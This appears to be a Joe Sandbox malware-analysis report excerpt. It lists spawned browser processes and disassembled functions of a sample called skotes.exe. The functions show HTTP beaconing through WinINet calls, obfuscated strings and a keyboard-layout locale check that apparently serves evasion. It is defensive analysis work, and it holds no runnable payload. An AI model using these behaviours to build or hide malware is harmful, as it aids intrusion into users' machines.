Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.youtube.com/account
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	22:23:34
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2376 --field-trial-handle=2220,i,11003867932119909055,5800491928789233358,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	22:23:37
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2228 -parentBuildID 20230927232528 -prefsHandle 2152 -prefMapHandle 2132 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a3c6f543-2f64-46ba-bc00-280bf6150280} 2928 "\\.\pipe\gecko-crash-server-pipe.2928" 1a8a5f6cf10 socket
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	22:23:40
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6864 --field-trial-handle=2220,i,11003867932119909055,5800491928789233358,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	22:23:40
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6896 --field-trial-handle=2220,i,11003867932119909055,5800491928789233358,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	22:23:41
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1136 -parentBuildID 20230927232528 -prefsHandle 4464 -prefMapHandle 4460 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {28e04a16-f2f3-4c95-9817-ee287afde24a} 2928 "\\.\pipe\gecko-crash-server-pipe.2928" 1a8b8c3fb10 rdd
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	22:23:52
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-GB --service-sandbox-type=audio --mojo-platform-channel-handle=6812 --field-trial-handle=2220,i,11003867932119909055,5800491928789233358,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	22:23:52
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7660 --field-trial-handle=2220,i,11003867932119909055,5800491928789233358,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	22:23:53
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=price_comparison_service.mojom.DataProcessor --lang=en-GB --service-sandbox-type=entity_extraction --mojo-platform-channel-handle=7708 --field-trial-handle=2220,i,11003867932119909055,5800491928789233358,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	22:23:56
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3164 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 5300 -prefMapHandle 3188 -prefsLen 33119 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f24f9574-f2ff-4886-877e-c3019b1407de} 2928 "\\.\pipe\gecko-crash-server-pipe.2928" 1a8b74c0910 utility
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	22:23:59
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4112 --field-trial-handle=1896,i,6279673356786267124,1049991761834270204,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	22:23:59
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4504 --field-trial-handle=1896,i,6279673356786267124,1049991761834270204,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 04D20E78 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085310012.0000000004D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85548ab7fd71412746eddfbcfe5f186c3b23bd41e367d9b67a5bb003936e619d
Instruction ID: 58bddc986339f9edea730cb60abdbf9a03580e24a178c8e44f5869f21d8fe7aa
Opcode Fuzzy Hash: 85548ab7fd71412746eddfbcfe5f186c3b23bd41e367d9b67a5bb003936e619d
Instruction Fuzzy Hash: 9EE0C2E768C0346EA08390C23B546F7669AE5F723433184B3FA83C6602E1988DD97672

Function 04D20D76 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085310012.0000000004D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2923fca94775f1e4409bd47d4c9506f482d99ef665617488cfa433ccd000d28
Instruction ID: a8bd692f622ef30d21977284524c9aff30803f8a9a4e6faa5ee8448a9c549989
Opcode Fuzzy Hash: d2923fca94775f1e4409bd47d4c9506f482d99ef665617488cfa433ccd000d28
Instruction Fuzzy Hash: 563170A720D2305EE383D95157505F67BA5DBF63383308497F186CA502E155BDC66231

Function 04D20D90 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085310012.0000000004D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: feb861b6954acf2c29937ef23ae5555fd1f31fc8ef315c422c64511ce0859438
Instruction ID: 92587fc6a5dd620c4b489c1698d65b2940ec1b1ed3010355136d34c3cf87c7b4
Opcode Fuzzy Hash: feb861b6954acf2c29937ef23ae5555fd1f31fc8ef315c422c64511ce0859438
Instruction Fuzzy Hash: 271108E730D130AEA1C3954167506BB6799EAFA6383308477F2C7CBA01F194AA857662

Function 04D20DC8 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085310012.0000000004D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9194380196831d0e1ca650cd0bdb107afbba1443d8f19385634d0a28d403cf3
Instruction ID: 09ffda181f7f10ab8c5711f46e1163815adb1d0dbccd53faf4725f6ab40e57d4
Opcode Fuzzy Hash: b9194380196831d0e1ca650cd0bdb107afbba1443d8f19385634d0a28d403cf3
Instruction Fuzzy Hash: 1B118CA720C230AE91C3D59127502BB6795EAF62383308477F297CBA01E154A9C57622

Function 04D20DA8 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085310012.0000000004D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2ff6d9ff10bd919c7c24c466d04a1a10e794c2294ab2dd8809b1d17e63fd46d
Instruction ID: c395292bf61077dbb2a239d25c99a851ffbc4fa8412d77ca931b6a9085e41f18
Opcode Fuzzy Hash: c2ff6d9ff10bd919c7c24c466d04a1a10e794c2294ab2dd8809b1d17e63fd46d
Instruction Fuzzy Hash: 52016BA730C134AE92C3D581275067777959AFA2383348477F297CBB01E154A9857622

Function 04D20DE7 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085310012.0000000004D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51cc94e58cb4f2577888c05f66e1268f93a3e6cddca93045ae66cd8707066c31
Instruction ID: ac23af5f7a91ea997e776da0a84acbf34be6a5c365abe2c21061fbee4ec08bae
Opcode Fuzzy Hash: 51cc94e58cb4f2577888c05f66e1268f93a3e6cddca93045ae66cd8707066c31
Instruction Fuzzy Hash: 9A0149E724C130AE91C3918127603B77B85DAF62383308477F39BCBB02E19499D57662

Function 04D20DFC Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085310012.0000000004D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a92159a379ffef2385588f43a269021e65b885217feddd2eaa09c4707dd90bb2
Instruction ID: 275dd1f7b73b7e2a5cee9f28c43542fb3409cd78cba312c970433c3405a39a0c
Opcode Fuzzy Hash: a92159a379ffef2385588f43a269021e65b885217feddd2eaa09c4707dd90bb2
Instruction Fuzzy Hash: 11017DD324C1306EA1C3918123502BB6B86EAF723C3304467F2978B602E5549DC57662

Function 04D20E14 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085310012.0000000004D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4c11233714661068a18a8c54b6de5e6d7fdfbb433a4974f5743afca1a486e8e
Instruction ID: f2643e5a9da767d8c79063e53dc5bbfb84beb1e8a6a417c3b8bbc08da36eef41
Opcode Fuzzy Hash: e4c11233714661068a18a8c54b6de5e6d7fdfbb433a4974f5743afca1a486e8e
Instruction Fuzzy Hash: E6F07DE360C4205EF1C3919137513FB6785D7B623C3304473E6978B343E19899C66662

Function 04D20EA1 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085310012.0000000004D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2af96d95d916a4aff46c80715c5de0a2013c8c2b24a88fc0be60ed13c3328158
Instruction ID: 7b52bd706887854292cf01f8529f263f1ef9153cc92741c0f4bf34603d28a541
Opcode Fuzzy Hash: 2af96d95d916a4aff46c80715c5de0a2013c8c2b24a88fc0be60ed13c3328158
Instruction Fuzzy Hash: ABF02B9724C5306DE1C3A09227503F76B95D7F763D3304463F3978AA42E1945ACA6662

Function 04D20E33 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085310012.0000000004D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6079d57491cecc139903dfde6c61d73f54ea2898051bbf80ad2555e10051545
Instruction ID: caf991dc92bd02eab22f2d8e439c728f37e0e630215f473109d29eb03389f389
Opcode Fuzzy Hash: c6079d57491cecc139903dfde6c61d73f54ea2898051bbf80ad2555e10051545
Instruction Fuzzy Hash: D1F08BA364C1342DE2C3A0D123503BBAB86D5BB23C3304477F7838B603E2884AC92662

Function 04D20E47 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085310012.0000000004D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e9c9980e2a30bcd390383ee7e04f0d326aba265c777bc5946b8506a451fb24b
Instruction ID: 7c3724f9e298f23bb8d08c11012e5b712be8643ca4c7b36fab81299c04d52e02
Opcode Fuzzy Hash: 9e9c9980e2a30bcd390383ee7e04f0d326aba265c777bc5946b8506a451fb24b
Instruction Fuzzy Hash: 9EF0ACE3A0C5A05EE783919227442B6BB9199A323433400EBE2D28B603D154599AA762

Analysis Process: skotes.exePID: 6480, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	9.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.1%
Total number of Nodes:	1222
Total number of Limit Nodes:	6

Executed Functions

Function 00ECBE30 Relevance: 21.3, APIs: 6, Strings: 6, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000005DC), ref: 00ECBEB8
InternetOpenW.WININET(00F18DC8,00000000,00000000,00000000,00000000), ref: 00ECBEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00ECBEEB
HttpOpenRequestA.WININET(?,00000000), ref: 00ECBF35
HttpSendRequestA.WININET(?,00000000), ref: 00ECBFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 00ECC0A8
InternetCloseHandle.WININET(?), ref: 00ECC187
InternetCloseHandle.WININET(?), ref: 00ECC18F
InternetCloseHandle.WININET(?), ref: 00ECC197

Strings

invalid stoi argument, xrefs: 00ECE4F4
RmNn, xrefs: 00ECD606
RE1NXF==, xrefs: 00ECBF0E
8HJUeIfzLo==, xrefs: 00ECC3CB, 00ECC623
stoi argument out of range, xrefs: 00ECE4EA
8HJUeMD Lq5=, xrefs: 00ECC465

Memory Dump Source

Source File: 00000006.00000002.3282216194.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.3281937953.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282216194.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283222943.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000010B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000001199000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287111652.00000000011DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288510814.0000000001380000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288674046.0000000001382000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$RmNn$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-2254971868
Opcode ID: 1e07509acbb34e7fa825a650de8e16b7447efeaa9a88cb675e6257ea8d1ef786
Instruction ID: 7778e3cce192615821eb88414e76eb05e2b7aff4e7d4f6387dd5e49abcada24c
Opcode Fuzzy Hash: 1e07509acbb34e7fa825a650de8e16b7447efeaa9a88cb675e6257ea8d1ef786
Instruction Fuzzy Hash: 08B1E3B16001589BDB28CF28CD85FDEBBB5EF41304F60519DF508A7291DB729AC1CB95

Function 00ECE530 Relevance: 14.7, Strings: 11, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

WDw=, xrefs: 00ECF71D, 00ECF9FA
246122658369, xrefs: 00ECF737, 00ECFA14, 00ED05E7, 00ED099A
UA==, xrefs: 00ECEB0F, 00ECED56
WTw=, xrefs: 00ED097D
#, xrefs: 00ED0624
GnNoc2Hc, xrefs: 00ECE56C
WTs=, xrefs: 00ED05CA
111, xrefs: 00ECF7A0
MGE+, xrefs: 00ECE821
9c9aa5, xrefs: 00ECFB8E
MQ==, xrefs: 00ECE592

Memory Dump Source

Source File: 00000006.00000002.3282216194.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.3281937953.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282216194.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283222943.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000010B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000001199000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287111652.00000000011DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288510814.0000000001380000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288674046.0000000001382000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2571795437
Opcode ID: 82430fb516dc8d81ff3d53d94fdb2320a185bdcfadfa5c9b843582d9bbfe9e3e
Instruction ID: 4fd7231fca44372619beb8dffe28cc51e489740189826d44b0829d3107f85e2b
Opcode Fuzzy Hash: 82430fb516dc8d81ff3d53d94fdb2320a185bdcfadfa5c9b843582d9bbfe9e3e
Instruction Fuzzy Hash: 3482E4709042889BEF14EF68CA49BDE7FB2EB45304F508189E845373C6D7759A89CBD2

Function 00EDD3E2 Relevance: .2, Instructions: 172
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00EC24BE

Memory Dump Source

Source File: 00000006.00000002.3282216194.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.3281937953.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282216194.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283222943.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000010B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000001199000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287111652.00000000011DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288510814.0000000001380000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288674046.0000000001382000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: a34e935639c39cb02db7e3df9b4a14aec6158748fa7fc3e6f8f1f2993a382c16
Instruction ID: ee037f03b31727fe6edb79e0349ceb3a1d51b135955252a13ef1c0b14bd79d2b
Opcode Fuzzy Hash: a34e935639c39cb02db7e3df9b4a14aec6158748fa7fc3e6f8f1f2993a382c16
Instruction Fuzzy Hash: C251CF72E0420A9BDB25CF58DC917A9BBF4FB58318F24856AD805EB390D334E942CF90

Function 00ED47B0 Relevance: 35.5, APIs: 1, Strings: 21, Instructions: 2516COMMON

Download Yara Rule

Strings

3I3eB==, xrefs: 00ED4802
Vmc0, xrefs: 00ED55D7
jS=, xrefs: 00ED6513, 00ED67E2
246122658369, xrefs: 00ED502A, 00ED503D, 00ED507F, 00ED5089, 00ED5684
9250, xrefs: 00ED54AD
aWW0, xrefs: 00ED555C
stoi argument out of range, xrefs: 00ED4F9C
MGE+, xrefs: 00ED4866, 00ED48DD, 00ED4B85, 00ED4BFC
9c9aa5, xrefs: 00ED5619
9HQ0, xrefs: 00ED54E1
93E0, xrefs: 00ED5600
VXQ0, xrefs: 00ED550A
Fw==, xrefs: 00ED4E1D
KCWUOl==, xrefs: 00ED5649
WGS0, xrefs: 00ED5533
anE0, xrefs: 00ED566B
GE0, xrefs: 00ED5585
VXA0, xrefs: 00ED55AE
MGI+, xrefs: 00ED48AD, 00ED49DC, 00ED4BCC, 00ED4CFB
2I0, xrefs: 00ED5627
8WI0, xrefs: 00ED5692

Memory Dump Source

Source File: 00000006.00000002.3282216194.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.3281937953.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282216194.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283222943.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000010B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000001199000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287111652.00000000011DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288510814.0000000001380000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288674046.0000000001382000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestSleep
String ID: 2I0$ 3I3eB==$ GE0$ jS=$246122658369$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$KCWUOl==$MGE+$MGI+$VXA0$VXQ0$Vmc0$WGS0$aWW0$anE0$stoi argument out of range
API String ID: 3516211189-1982281295
Opcode ID: 1986afebb3da391e75d024ed50aafb38b4d6cff62e8b9513c785dbeae0e2055b
Instruction ID: 651fbc5ed2a7e68c09ebb19d1d48e324b92c41d253649cd417dc5ea670a059da
Opcode Fuzzy Hash: 1986afebb3da391e75d024ed50aafb38b4d6cff62e8b9513c785dbeae0e2055b
Instruction Fuzzy Hash: 82232471A002588BEB19DB28CD8979DBBB6DB81304F5481D9E048B73D2DB359FC68F91

Function 00EC5EE0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 340
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0000043f, xrefs: 00EC612B
00000423, xrefs: 00EC60FA
Keyboard Layout\Preload, xrefs: 00EC6054
00000422, xrefs: 00EC60C9
00000419, xrefs: 00EC6098

Memory Dump Source

Source File: 00000006.00000002.3282216194.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.3281937953.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282216194.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283222943.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000010B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.0000000001199000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3283455170.00000000011C7000.00000040.00000001.01000000.00000007.sdmpDownload File
